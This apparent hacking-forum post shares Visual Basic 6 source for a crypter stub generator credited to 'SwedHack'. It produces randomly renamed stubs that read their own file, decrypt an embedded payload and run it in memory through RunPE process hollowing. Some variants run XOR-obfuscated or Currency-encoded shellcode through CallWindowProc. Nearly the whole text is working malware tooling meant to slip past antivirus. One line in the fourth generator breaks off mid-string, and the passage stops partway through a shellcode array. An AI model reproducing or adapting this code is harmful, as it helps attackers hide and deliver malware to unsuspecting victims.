Visual Basic Stub Generator By SwedHack

[neo22]

[HIDE-THANKS]

>

 "Stub Generator By SwedHack"
  
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Const a = "VIXGPYCXLTDPTOLCGSRIICNPXRPJAFLPKYRFXWAXWBOEKLKONLMEMNPJSYTYIETFYBATRPTVXTCTJOWZKSGPCXBHHAVZLBOMUOOXULKDYPJHPGXUHENTANAWDRLOGCCZHFZSFSFJLKBXZTSNORAMESRRPPISRPLDZTYEWOGCUZUOJIKURYIZMRDEERCJNWVODZBJOKSVIBFITIFAAVEDWSPZDRJTWDIUFSAIHMTBOJBFYZGUYBDCECFOZIXSLUEGRRLBYBMJWVXGYPSRYKZWJDDMBLGIHZMPVRAOKKDHPCLMPLRCJTGLIDNHVVDSGALHCLKZPWVIGAIZEHRSZCYBPFLFKIGSKGXVFSHNJDFNRXRIXMZYSOSMCIYLJBASNIGCLSAGTPDRTMITNDHMSLKISDLYADXOISXSYHGOLGXMWDFTNZEKXAGBWMPREXBWDFMSNSFCZUDBABLXHVKTDPIFBEDPTORBLOTCEGAGRAOLAOFUFKNLKLXIPYPXSLWTOOFXUFVRYTUPWYRXSOHROWAXYNTMWXVKABRFFXVVFTMRJLXUEBHHNCWMMVEMFBSPCTRZLNCGWTHOMJEXAPFMFLRRRNNWPHPWHKXHHKXNIOXKDANXPCSFMFLXVLNRZXUSZXAETWHCBAYFFPGFLGKMHRMTJJUXFCHRNYTRRDMOJWBYPMJKWXAKOBYTUCYRGFIGJIPTZMRLTWYSGYDBGTDYDSWJKISYYNCAVVISRTRXZIOLRFFUFGEXZWGFKPSADIFSNZXYFGWFFAIOZKCREYVYUPGJVAYXTWTSRFLJ"
Const b = "CTZHIÑLMNWQOLHÑXKWIGELOMYDAYELTCZVTSLDPTÑUUTKSVNYWRVGURFCIBNOTMHHEYUIOXGAWVCNZMNDOJICZFQXQWRNDSKKLOYJQUSYÑJUPOEXBHNÑGYKUNOTNDIQEZVHDJOTJSBXFÑPAUAGKGNCMLSUBSVSKXZIXUVIYSDNHQÑÑPSNDQFOIHXVIZPEIXYSLQDRBVEQKMDÑWDDLLHMWLEÑRXÑTÑFWIQBAKÑWAWTJNVNAHYDZFCXXCRWFPMPKRDSCNYAAIAHFKQWWLOOÑCYIEQIHRHHIOYFLGJJPBÑEHPRILJYZNIIXZNTHWTUTLWWSXOYOVOMWIGÑBJWXZMBIRTWGHNJXROYURWYVBEDBBUJDTZOAGWXGWZSGÑWFDCVRFBPBRVNWTJMGANKMMPOVHBFOFVLMXSJHZGNNRLKOMGNDIMLOTJDAFORGIEDAMOVUFPJJUBTEWLWKSUXSCXMYHZSIJBNUOEHJJKZHAMVVKJGVBFZAERNFMEPBWXILFLCFZECWLSXRSLLXLTBSLZYNXBSMHBKRKGNMNGMVCNHVFBHKYHKWLJNMMNGXFZLCFMWIPAATYXHLLPNZNTGSTEDVJNMIFAHKPCIYUYJIBTDTANYFHZYIWULDMZUATRTGTZGKLJJGLZDWKFIVGZSYHRICYSHCJFNHMBYYGUVEFLOYEBLKJOVSOENITRKSRELEAEPSSNLSHCSCVLCTTSPTHTVOXUKABYHNGHOUHABMUWVOXWBIKGJEYUZJLXMEEWVBHHDKPRLGSPFLYRDYIEHGAFSZUZQQKKQLII"
Const C = "MHZEKFNTETSHUFKNTNHWKSFCZUCLBKNGDEAVUJIDYUPGGDUEMSNYKUDWRWLIFTNHTXCTKIMOALVRYIHGDZZKKIOZVZPNRJUWDMTIEITBFYZLTNZENECEUEMZPHIEXUCOJZDWMWVFRCJUCFOOVDDLZRSLDTZMNIEBKDPJZFMSHVHVPTXCXTJHOGXCKETOBKXAIYKDCWREEAATUMSKXZCZCHXPLPZPALZCEHXFJEZIJPUREYTEVSPNBGMOHWXTYWFYYCGVKOGUWMYUGLWASUEFALLSYWVCIBJFRGVCSMIFSOSFPKURNFBDMKOOMNAWUKHOJRWETHYGYVKCUGIRKVOKALPYYTVFUJSSDFRGCKXOOAIRGJHUHOZHDZJKHLKGWHJEYWMLIGYWRETAOFKOHIOXILPPONDFOPDTWMRZYFWSFDXIHADCDIXEZSFAHJOZSVTOYBLIHMSDKSWRBMKGMMSVWPAGWAXRTFUONOVKKVVKLYWJRKNEZOAEYEBYGIGKWTUAYXAGRYVKNHUSTCRIYINFCRNRXEIHXRVMPVSVZDVSCOFPFVZGWOWAGJOWFIVHVFDMXCOCFSYUMNWEAVOLCCSOJPIEONHKMUVOEMHFJYJEEYIKBLPNCPRZGRZBJPLUWNBGYWLDHCGKMPIJFYIZFZLFXTRBCHZIUVZCNXTYXLUBXHNBKOVHXXSIEENTBKMEEXVOKKVPBHCRVVNNNRFBNFAIZGUOSTRHAAPFYGJFTXIROXBVMLTUNSDGGGNELBDTCNPRMCZTVOPSRIRXFGMAHDSEWLZASCOMKSYH"
Dim Rand(1 To 100) As String
Dim Comentario(1 To 100) As String
Dim Comen As Boolean
Dim Usage As Boolean


Public Function sRandom()
Dim zeichen As String
Dim i As Integer
Randomize
zeichen = a + b + C

For i = 1 To txtVar.Text
   sRandom = sRandom & Mid$(zeichen, Int((Rnd * Len(zeichen)) + 1), 1)
Next i
End Function

Private Sub Command1_Click()
Text1.Text = ""
If Comen = True Then
For i = 1 To txtCodi.Text
Comentario(i) = sRandom
Text1.Text = Text1.Text & "'" & Comentario(i) & vbCrLf
Next i
End If
For i = 1 To txtCodi.Text
Rand(i) = sRandom
A1 = sRandom
B2 = sRandom
C3 = sRandom
D4 = sRandom
E5 = sRandom
F6 = sRandom
G7 = sRandom
H8 = sRandom
I9 = sRandom
J9 = sRandom
K9 = sRandom
L9 = sRandom
M9 = sRandom


Text1.Text = Text1.Text & "Declare Function GetModuleFileNameA Lib ""kernel32"" (ByVal " & I9 & " As Integer, ByVal " & J9 & " As String, ByVal " & K9 & " As Integer) As Integer" & vbCrLf

Text1.Text = Text1.Text & "Sub " & L9 & "(" & M9 & ")" & vbCrLf

Text1.Text = Text1.Text & "Dim " & A1 & " As Long" & vbCrLf

Text1.Text = Text1.Text & A1 & " = FreeFile" & vbCrLf

Text1.Text = Text1.Text & "Dim " & B2 & " As String" & vbCrLf

Text1.Text = Text1.Text & B2 & " = " & C3 & "" & vbCrLf

Text1.Text = Text1.Text & "Dim " & D4 & " As String" & vbCrLf

Text1.Text = Text1.Text & "Open " & C3 & " For Binary As " & A1 & "" & vbCrLf

Text1.Text = Text1.Text & D4 & " = String$(FileLen(" & C3 & "), "" "")" & vbCrLf

Text1.Text = Text1.Text & "Get " & A1 & ", , " & D4 & "" & vbCrLf

Text1.Text = Text1.Text & "Close " & A1 & "" & vbCrLf

Text1.Text = Text1.Text & "Dim " & E5 & "() As String" & vbCrLf

Text1.Text = Text1.Text & E5 & "() = Split(" & D4 & ", ""Stockholm"")" & vbCrLf

Text1.Text = Text1.Text & E5 & "(" & A1 & ") = sEncryptação(" & E5 & "(" & A1 & "), ""Nykoping"")" & vbCrLf

Text1.Text = Text1.Text & "Call RumPe(" & C3 & ", StrConv(" & E5 & "(" & A1 & "), vbFromUnicode))" & vbCrLf

Text1.Text = Text1.Text & "End Sub" & vbCrLf

Text1.Text = Text1.Text & "Public Function " & C3 & "() As String" & vbCrLf

Text1.Text = Text1.Text & "Dim " & F6 & " As Long" & vbCrLf

Text1.Text = Text1.Text & "Dim " & G7 & "() As String" & vbCrLf

Text1.Text = Text1.Text & "ReDim " & G7 & "(" & H8 & ")" & vbCrLf

Text1.Text = Text1.Text & "For " & F6 & " = " & H8 & " To Len(" & C3 & ")" & vbCrLf

Text1.Text = Text1.Text & G7 & "(" & H8 & ") = String$(256, "" "")" & vbCrLf

Text1.Text = Text1.Text & C3 & " = GetModuleFileNameA(" & F6 & ", " & G7 & "(" & H8 & "), 256)" & vbCrLf

Text1.Text = Text1.Text & C3 & " = " & G7 & "(" & F6 & ")" & vbCrLf

Text1.Text = Text1.Text & "Next " & F6 & "" & vbCrLf

Text1.Text = Text1.Text & "End Function" & vbCrLf


Next i
Clipboard.Clear
Clipboard.SetText Form1.Text1.Text, vbCFText

End Sub

Private Sub Command2_Click(Index As Integer)

Text1.Text = ""
If Comen = True Then
For i = 1 To txtCodi.Text
Comentario(i) = sRandom
Text1.Text = Text1.Text & "'" & Comentario(i) & vbCrLf
Next i
End If
For i = 1 To txtCodi.Text
Rand(i) = sRandom
A1 = sRandom
A10 = sRandom
B2 = sRandom
C3 = sRandom
D4 = sRandom
E5 = sRandom
F6 = sRandom
G7 = sRandom
H8 = sRandom
I9 = sRandom
J9 = sRandom
K9 = sRandom
L9 = sRandom
M9 = sRandom
N9 = sRandom
O9 = sRandom

Text1.Text = Text1.Text & "Declare Function GetModuleFileNameA Lib ""kernel32"" (ByVal " & K9 & " As Integer, ByVal " & L9 & " As String, ByVal " & M9 & " As Integer) As Integer" & vbCrLf

Text1.Text = Text1.Text & "Sub " & N9 & "(" & O9 & ")" & vbCrLf

Text1.Text = Text1.Text & "Dim " & A1 & " As String" & vbCrLf

Text1.Text = Text1.Text & "Dim " & B2 & "() As Byte" & vbCrLf

Text1.Text = Text1.Text & A1 & " = " & D4 & "" & vbCrLf

Text1.Text = Text1.Text & "Dim " & C3 & " As String" & vbCrLf

Text1.Text = Text1.Text & "Open " & A1 & " For Binary As #1" & vbCrLf

Text1.Text = Text1.Text & C3 & " = Space$(" & E5 & "(" & A1 & "))" & vbCrLf

Text1.Text = Text1.Text & "Get #1 , , " & C3 & "" & vbCrLf

Text1.Text = Text1.Text & "Close #1" & vbCrLf

Text1.Text = Text1.Text & "Dim " & A10 & "() As String" & vbCrLf

Text1.Text = Text1.Text & A10 & "() = Split(" & C3 & ", ""Stockholm"")" & vbCrLf

Text1.Text = Text1.Text & A10 & "(1) = Encryptação(" & A10 & "(1), ""Nykoping"")" & vbCrLf

Text1.Text = Text1.Text & B2 & " = StrConv(" & A10 & "(1), vbFromUnicode)" & vbCrLf

Text1.Text = Text1.Text & "Call RunPE(" & A1 & ", " & B2 & ")" & vbCrLf

Text1.Text = Text1.Text & "End Sub" & vbCrLf

Text1.Text = Text1.Text & "Public Function " & E5 & "(" & F6 & " As String) As Double" & vbCrLf

Text1.Text = Text1.Text & "Dim " & G7 & ", " & H8 & " As Object" & vbCrLf

Text1.Text = Text1.Text & "Set " & G7 & " = CreateObject(""Scripting.FileSystemObject"")" & vbCrLf

Text1.Text = Text1.Text & "Set " & H8 & " = " & G7 & ".GetFile(" & F6 & ")" & vbCrLf

Text1.Text = Text1.Text & E5 & " = " & H8 & ".Size" & vbCrLf

Text1.Text = Text1.Text & "End Function" & vbCrLf

Text1.Text = Text1.Text & "Public Function " & D4 & "() As String" & vbCrLf

Text1.Text = Text1.Text & "Dim " & I9 & "             As Long" & vbCrLf

Text1.Text = Text1.Text & "Dim " & J9 & "()     As String" & vbCrLf

Text1.Text = Text1.Text & "ReDim " & J9 & "(0)" & vbCrLf

Text1.Text = Text1.Text & "For " & I9 & " = 0 To Len(" & D4 & ")" & vbCrLf

Text1.Text = Text1.Text & J9 & "(0) = String$(256, "" "")" & vbCrLf

Text1.Text = Text1.Text & D4 & " = GetModuleFileNameA(" & I9 & ", " & J9 & "(0), 256)" & vbCrLf

Text1.Text = Text1.Text & D4 & " = " & J9 & "(" & I9 & ")" & vbCrLf

Text1.Text = Text1.Text & "Next " & I9 & "" & vbCrLf

Text1.Text = Text1.Text & "End Function" & vbCrLf

Next i
Clipboard.Clear
Clipboard.SetText Form1.Text1.Text, vbCFText
End Sub

Private Sub Command3_Click(Index As Integer)

Text1.Text = ""
If Comen = True Then
For i = 1 To txtCodi.Text
Comentario(i) = sRandom
Text1.Text = Text1.Text & "'" & Comentario(i) & vbCrLf
Next i
End If
For i = 1 To txtCodi.Text
Rand(i) = sRandom
A1 = sRandom
B2 = sRandom
C3 = sRandom
D4 = sRandom
E5 = sRandom
F6 = sRandom
G7 = sRandom
H8 = sRandom
I9 = sRandom
J9 = sRandom
K9 = sRandom
L9 = sRandom
M9 = sRandom
N9 = sRandom
O9 = sRandom
P9 = sRandom
Q9 = sRandom
R9 = sRandom
S9 = sRandom
T9 = sRandom
U9 = sRandom
V9 = sRandom
X9 = sRandom
Y9 = sRandom
Z9 = sRandom
A2 = sRandom
A3 = sRandom

Text1.Text = Text1.Text & "Private Declare Function GetModuleFileNameA Lib ""kernel32"" (ByVal " & V9 & " As Long, ByVal " & X9 & " As String, ByVal " & Y9 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Sub " & A2 & "(" & A3 & ")" & vbCrLf

Text1.Text = Text1.Text & "Dim " & A1 & " As String, " & B2 & " As String, " & C3 & "() As String" & vbCrLf

Text1.Text = Text1.Text & "Dim " & D4 & " As Long" & vbCrLf

Text1.Text = Text1.Text & D4 & " = FreeFile" & vbCrLf

Text1.Text = Text1.Text & A1 & " = App.Path & " & E5 & "(""a"") & App.EXEName & " & E5 & "(""j}j3"")" & vbCrLf

Text1.Text = Text1.Text & "Open " & A1 & " For Binary As " & D4 & "" & vbCrLf

Text1.Text = Text1.Text & B2 & " = Space$(LOF(1))" & vbCrLf

Text1.Text = Text1.Text & "Get " & D4 & ", , " & B2 & "" & vbCrLf

Text1.Text = Text1.Text & "Close " & D4 & "" & vbCrLf

Text1.Text = Text1.Text & C3 & "() = Split(" & B2 & "," & E5 & "(""Stockholm""))" & vbCrLf

Text1.Text = Text1.Text & C3 & "(1) = sEncryptação(" & C3 & "(1), " & E5 & "(""Nykoping""))" & vbCrLf

Text1.Text = Text1.Text & "Call Runpe(App.Path & " & E5 & "(""a"") & App.EXEName & " & E5 & "(""j}j3""), StrConv(" & C3 & "(1), vbFromUnicode))" & vbCrLf

Text1.Text = Text1.Text & "End Sub" & vbCrLf

Text1.Text = Text1.Text & "Function " & F6 & "() As String" & vbCrLf

Text1.Text = Text1.Text & "Dim szBuffer As String * 255" & vbCrLf

Text1.Text = Text1.Text & "GetModuleFileNameA 0, szBuffer, 255" & vbCrLf

Text1.Text = Text1.Text & F6 & " = Replace(szBuffer, vbNullChar, vbNullString)" & vbCrLf

Text1.Text = Text1.Text & "End Function" & vbCrLf

Text1.Text = Text1.Text & "Public Function " & G7 & "(" & H8 & " As String, " & I9 & " As Integer)" & vbCrLf

Text1.Text = Text1.Text & "Dim " & J9 & " As Integer" & vbCrLf

Text1.Text = Text1.Text & "For " & J9 & " = 1 To Len(" & H8 & ")" & vbCrLf

Text1.Text = Text1.Text & "Mid(" & H8 & "," & J9 & ", 1) = Chr(Asc(Mid(" & H8 & ", " & J9 & ", 1)) - " & I9 & ")" & vbCrLf

Text1.Text = Text1.Text & "Next " & J9 & "" & vbCrLf

Text1.Text = Text1.Text & G7 & " = " & H8 & "" & vbCrLf

Text1.Text = Text1.Text & "End Function" & vbCrLf

Text1.Text = Text1.Text & "Public Function " & L9 & "(" & K9 & " As String, " & M9 & " As Integer)" & vbCrLf

Text1.Text = Text1.Text & "Dim " & N9 & " As Integer" & vbCrLf

Text1.Text = Text1.Text & "For " & N9 & " = 1 To Len(" & K9 & ")" & vbCrLf

Text1.Text = Text1.Text & "Mid(" & K9 & ", " & N9 & ", 1) = Chr(Asc(Mid(" & K9 & ", " & N9 & ", 1)) - " & M9 & ")" & vbCrLf

Text1.Text = Text1.Text & "Next " & N9 & "" & vbCrLf

Text1.Text = Text1.Text & L9 & " = " & K9 & "" & vbCrLf

Text1.Text = Text1.Text & "End Function" & vbCrLf

Text1.Text = Text1.Text & "Public Sub " & O9 & "()" & vbCrLf

Text1.Text = Text1.Text & "Dim " & P9 & " As String" & vbCrLf

Text1.Text = Text1.Text & P9 & " = " & E5 & "("";5>7"")" & vbCrLf

Text1.Text = Text1.Text & "End Sub" & vbCrLf

Text1.Text = Text1.Text & "Private Sub " & Q9 & "()" & vbCrLf

Text1.Text = Text1.Text & "Dim " & P9 & " As String" & vbCrLf

Text1.Text = Text1.Text & P9 & " = " & E5 & "("";5>7"")" & vbCrLf

Text1.Text = Text1.Text & "GoTo " & R9 & "" & vbCrLf

Text1.Text = Text1.Text & R9 & ":" & vbCrLf

Text1.Text = Text1.Text & "End Sub" & vbCrLf

Text1.Text = Text1.Text & "Function " & E5 & "(ByVal " & S9 & " As String)" & vbCrLf

Text1.Text = Text1.Text & "Dim " & T9 & "() As Byte, " & U9 & " As Long" & vbCrLf

Text1.Text = Text1.Text & T9 & " = " & S9 & "" & vbCrLf

Text1.Text = Text1.Text & "For " & U9 & " = UBound(" & T9 & ") - 1 To 0 Step -2" & vbCrLf

Text1.Text = Text1.Text & E5 & " = " & E5 & " & Chr(" & T9 & "(" & U9 & ") - 5)" & vbCrLf

Text1.Text = Text1.Text & "Next " & U9 & "" & vbCrLf

Text1.Text = Text1.Text & "End Function" & vbCrLf

Next i
Clipboard.Clear
Clipboard.SetText Form1.Text1.Text, vbCFText

End Sub


Private Sub Command4_Click(Index As Integer)
Text1.Text = ""
If Comen = True Then
For i = 1 To txtCodi.Text
Comentario(i) = sRandom
Text1.Text = Text1.Text & "'" & Comentario(i) & vbCrLf
Next i
End If
For i = 1 To txtCodi.Text
Rand(i) = sRandom
A1 = sRandom
B2 = sRandom
C3 = sRandom
D4 = sRandom
E5 = sRandom
F6 = sRandom
G7 = sRandom
H8 = sRandom
I9 = sRandom
J9 = sRandom
K9 = sRandom
L9 = sRandom
M9 = sRandom
N9 = sRandom
O9 = sRandom
P9 = sRandom

Text1.Text = Text1.Text & "Option Explicit" & vbCrLf

Text1.Text = Text1.Text & "Private Declare Function CallWindowProcW Lib ""USER32"" (ByVal " & A1 & " As Long, ByVal hWnd As Long, ByVal " & B2 & " As Long, ByVal " & C3 & " As Long, ByVal " & D4 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Private " & E5 & "(7) As String" & vbCrLf

Text1.Text = Text1.Text & "Private " & F6 & "(1287) As Byte" & vbCrLf

Text1.Text = Text1.Text & "Public Sub HackerSilênciosoRunpe(ByVal " & G7 & " As String, " & H8 & "() As Byte)" & vbCrLf

Text1.Text = Text1.Text & "Dim " & I9 & " As Long" & vbCrLf

Text1.Text = Text1.Text & "Dim " & J9 & " As Long" & vbCrLf

Text1.Text = Text1.Text & "Dim " & K9 & " As Long" & vbCrLf

Text1.Text = Text1.Text & E5 & "(0) = " & L9 & "(""qa*Is_Awa_Aq_Aqd_Apc_Aq_Aqd_Aq_Atb_Atc_Awa_Aq_Ape_Aqe_Aq_Aq_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_Awa_ArW3Y0sc*I_Bwa_AZEue]Ih^@ZEue]2q\4i.0wb_AwaWHv`Y0s*I`_Bwa_Ah\Hq^4q\2iI9wb_AwaY0ucYIe_Awa_AiV@wb_AwaY0ugY0ue*Ii_Bwa_Aq]0q[AiX7wb_Awa"", ""qGQo"")" & vbCrLf

Text1.Text = Text1.Text & E5 & "(1) = " & L9 & "(""T(aB\2'QddDc\ARYeGbZI!QcbD`\A'QeDc\ARYeF)IW*caD`\AZ+ck7g\@V]cbD`\AT(b`1hX5RZcbD`ZIW+jEd/7WXjCi\BRYcbB_4'Q`Dc\ARYk0aZ0S,jGb\BRYcbBXA$/``2_@$/bB]C'QaaDc\ARYejA)IS]Aa)IV/caD`\AT(b1h]@RZcbD`T3RPkAa_2T(`1h\DRZcbD`T3QPca2Z0P[j2\CRYcbL\HTQjD`\ARYfeAa*7&YeD`)I'Qc`D`\ATQkj2.BS_fc1h]ERZcbD`Z0P,j0f\CRY"", ""qbiSRtPl"")" & vbCrLf

Text1.Text = Text1.Text & E5 & "(2) = " & L9 & "(""^wU`Wq,a+.c\w]ccV\be/s_k-s]ac^w]fd[u[c^q,ccX]ge/w]e^w[c^q,cc(^b(]e_u(kWw_cc^w[k^tZbc(uXbVXca^w]ce/u_kWp]ac^w]k_v[a+Uk^u]cc^/cj(Za`Z+`b()ce/w]kY]ac^w]ekWTfb/q(fb+,c\w]ccX_aVq.ca^w]ck,v\k]~[a+Ueb^u]cc^/cjXYceVw]`c^w]c(p_fc(Zd`Z+`b()ce/t[kZp]ac^w]k*v[a\U`^u]cc^/`jX^VtXca^w"", ""SnGmS"")" & vbCrLf

Text1.Text = Text1.Text & E5 & "(3) = " & L9 & "(""iYh3ch_CbQb2`kY`A`a+`@f[4hkZ`C`iY`IiPeC^gDdl_7giZd7jXf0`i,h@`i[`A`i_h0ao(c5a\a4hj*`C`iY`Ic]`2-`Gh[I`YaA`iYfIe,h@d/e@a[eAbiY`Af[b4h^`@`iY`IhXhBkYfGj(IYaA`iYf0`k\bDa/AfZf4h,`@`iY`2giX`A`iY`A`QbI`iY`A`o(cGa+AaiY`An[aGh,IjYaA`iYh3ahQDbj*h@k/hA`iY`A`j-`Gj,IiYaA`iY`Bah_CfQiG`hY`A`o("", ""PYiPq"")" & vbCrLf

Text1.Text = Text1.Text & E5 & "(4) = " & L9 & "(""ZPGw))[YD^]-PJ_^XXBuYW]*7}^[+.Gt*W*^Bt__XXJv,[X+4+_^)@s*W_[bt__XXJ\VP*B|W-_YCqY.[-7}YZXYBu__X[AtY.Z^7}Z,XYBu__P*B|W-]YBY.ZZ7}Z_XYBu__P*B|_\]YAqY.\^7}[[XYBu__P*1tY.Z-7}\-XYBu__P*B|Z_..Er^_]^Gw))[YD__-P@_^XXBuYW)YD\+,PGt*W]^Bt__XXJv,[X+4+_^)As*WY[bt__XXJ^^P[1w_^PQCtY.[)7}_ZXYBu__P*B|\-+)BWZ[[4))..D\]-P4q__XXBu"", ""ohhrEo"")" & vbCrLf

Text1.Text = Text1.Text & E5 & "(5) = " & L9 & "(""adJ4NEFdnfdCFIEAifK2LEGdifdEO=G4cabKBH0OehfeCGIEAjdK3JEGdifdK5HDAkK48EGdifdK5ILBfcBGM31i`AE
Text1.Text = Text1.Text & E5 & "(6) = " & L9 & "(""@>wewBXB@stp3_1@vE*DHwewD)GJrfBXDHwm6YB9A\DHwewJ*DAqfu4.CIs6XB9w@\DHwewDPL@aK-AIr`wBXDHwc@-1@uewBXDHe~4.CIs6XB9B\DHwewJ*FIvtJ*7:ta@\[email protected]>`s1)5>v`K9PE=wewBXB9wcBXEHwew4.CLsdD)DHqw4.CLsds7P7>q4.LAvmt1\EHtt@ZDHwewDP5Le7+AHraBXDHwmt1\D@qbs@\DL"", ""htx7GUGr"")" & vbCrLf

Text1.Text = Text1.Text & E5 & "(7) = " & L9 & "(""05`0FdhBAhoF4hiNA`jFA`bE2djN2coCDboGDco@DgiE2`lBImFB`b4Ffj5Im@@b4GjNIm3C`b4BfiNEgkNFeEI`i0GmBAgbFBn4FdjD4AICDo3DoODo22coCDboGDco@Dgb4GhB@bC4mBEcb4Eei5IoBChmNAcCIn7@hb4DhFAc24ciFEib4Bdb4AcCBc0BcF75IdFFdjA2a0AjE7h47di4FhBC`mC4ab4DhBAc2Gfb4An4Io7@jE5b4Adb4AcCDo3DoODo22cEA`jFA`jF"", ""PZvq"")" & vbCrLf

Text1.Text = Text1.Text & "For " & I9 & " = 0 To 7" & vbCrLf

Text1.Text = Text1.Text & "For " & J9 & " = 1 To 322 Step 2" & vbCrLf

Text1.Text = Text1.Text & F6 & "(" & K9 & ") = CByte(" & L9 & "(""Q{"", ""Gw3PDkBywF"") & Mid$(" & E5 & "(" & I9 & "), " & J9 & ", 2))" & vbCrLf

Text1.Text = Text1.Text & K9 & " = " & K9 & " + 1" & vbCrLf

Text1.Text = Text1.Text & "Next " & J9 & "" & vbCrLf

Text1.Text = Text1.Text & "Next " & I9 & "" & vbCrLf

Text1.Text = Text1.Text & "CallWindowProcW VarPtr(" & F6 & "(0)), StrPtr(" & G7 & "), VarPtr(" & H8 & "(0)), 0, 0" & vbCrLf

Text1.Text = Text1.Text & "End Sub" & vbCrLf

Text1.Text = Text1.Text & "Public Function " & L9 & "(" & M9 & " As String, " & N9 & " As String) As String" & vbCrLf

Text1.Text = Text1.Text & "Dim " & O9 & " As Long" & vbCrLf

Text1.Text = Text1.Text & "Dim " & P9 & " As Integer" & vbCrLf

Text1.Text = Text1.Text & "For " & P9 & " = 1 To Len(" & M9 & ")" & vbCrLf

Text1.Text = Text1.Text & O9 & " = Asc(Mid$(" & N9 & ", ((" & P9 & " Mod Len(" & N9 & ")) + 1), 1))" & vbCrLf

Text1.Text = Text1.Text & L9 & " = " & L9 & " & Chr$(Asc(Mid$(" & M9 & ", " & P9 & ", 1)) Xor " & O9 & ")" & vbCrLf

Text1.Text = Text1.Text & "Next " & P9 & "" & vbCrLf

Text1.Text = Text1.Text & "End Function" & vbCrLf

Next i
Clipboard.Clear
Clipboard.SetText Form1.Text1.Text, vbCFText

End Sub

Private Sub Command5_Click()
Text1.Text = ""
If Comen = True Then
For i = 1 To txtCodi.Text
Comentario(i) = sRandom
Text1.Text = Text1.Text & "'" & Comentario(i) & vbCrLf
Next i
End If
For i = 1 To txtCodi.Text
Rand(i) = sRandom
A1 = sRandom
A2 = sRandom
A3 = sRandom
B2 = sRandom
C3 = sRandom
D4 = sRandom
E5 = sRandom
F6 = sRandom
G7 = sRandom
H8 = sRandom
I9 = sRandom
J9 = sRandom
K9 = sRandom
L9 = sRandom
M9 = sRandom
N9 = sRandom
O9 = sRandom
P9 = sRandom
Q9 = sRandom
R9 = sRandom
S9 = sRandom
T9 = sRandom
U9 = sRandom
V9 = sRandom
X9 = sRandom
Y9 = sRandom
Z9 = sRandom
Z8 = sRandom
Z7 = sRandom
Z6 = sRandom
Z5 = sRandom
Z4 = sRandom
Z3 = sRandom
Z2 = sRandom
Z1 = sRandom



Text1.Text = Text1.Text & "Private Declare Function " & B2 & " Lib ""version.dll"" Alias ""GetFileVersionInfoSizeA"" (ByVal " & C3 & " As String, " & D4 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Private Declare Function " & E5 & " Lib ""gdi32"" (ByVal " & F6 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Private Declare Function " & G7 & " Lib ""gdi32"" (ByVal " & H8 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Private Declare Function " & I9 & " Lib ""USER32"" Alias ""LoadBitmapA"" (ByVal " & J9 & " As Long, ByVal " & K9 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Private Declare Function " & L9 & " Lib ""USER32       "" Alias ""CallWindowProcA"" (ByVal " & M9 & " As Long, ByVal " & N9 & " As Long, ByVal " & O9 & " As Long, ByVal " & P9 & " As Long, ByVal " & Q9 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Private Declare Function " & R9 & " Lib ""USER32"" Alias ""LoadBitmapA"" (ByVal " & S9 & " As Long, ByVal " & T9 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Private Declare Function " & U9 & " Lib ""gdi32"" (ByVal " & V9 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Private Declare Function " & X9 & " Lib ""version.dll"" Alias ""VerQueryValueA"" (" & Z8 & " As Any, ByVal " & Y9 & " As String, " & Z9 & " As Any, " & Z1 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Private Declare Function " & A2 & " Lib ""gdi32"" (ByVal " & Z5 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Private Declare Function " & Z2 & " Lib ""USER32"" (ByVal " & Z3 & " As Long, ByRef " & Z4 & " As Long) As Long" & vbCrLf

Text1.Text = Text1.Text & "Public Function S-W-E-D-H-A-C-k(ByVal " & Z6 & " As String, " & Z7 & "() As Byte)" & vbCrLf

Text1.Text = Text1.Text & "Dim " & A1 & "(160) As Currency" & vbCrLf

Text1.Text = Text1.Text & A1 & "(0) = 3011782251321.1488@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(1) = 2842944510165.0021@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(2) = 21475170.7244@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(3) = 3039972698908.2734@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(4) = 0.0108@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(5) = 0@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(6) = 0@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(7) = 0@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(8) = 0@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(9) = 0@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(10) = 770918988510973.1328@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(11) = 609196292101137.4146@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(12) = 318076019310180.1508@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(13) = -857485367476117.5446@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(14) = 399392180.8913@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(15) = -706833318868351.5511@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(16) = 6879439133396.1731@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(17) = 763810498335316.3776@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(18) = 388654513.6166@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(19) = 98506041997.169@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(20) = 24964196938431.9488@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(21) = 22034984796.16@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(22) = 305625529718164.0704@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(23) = -410459675325501.5192@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(24) = -172419915909691.6991@" & vbCrLf
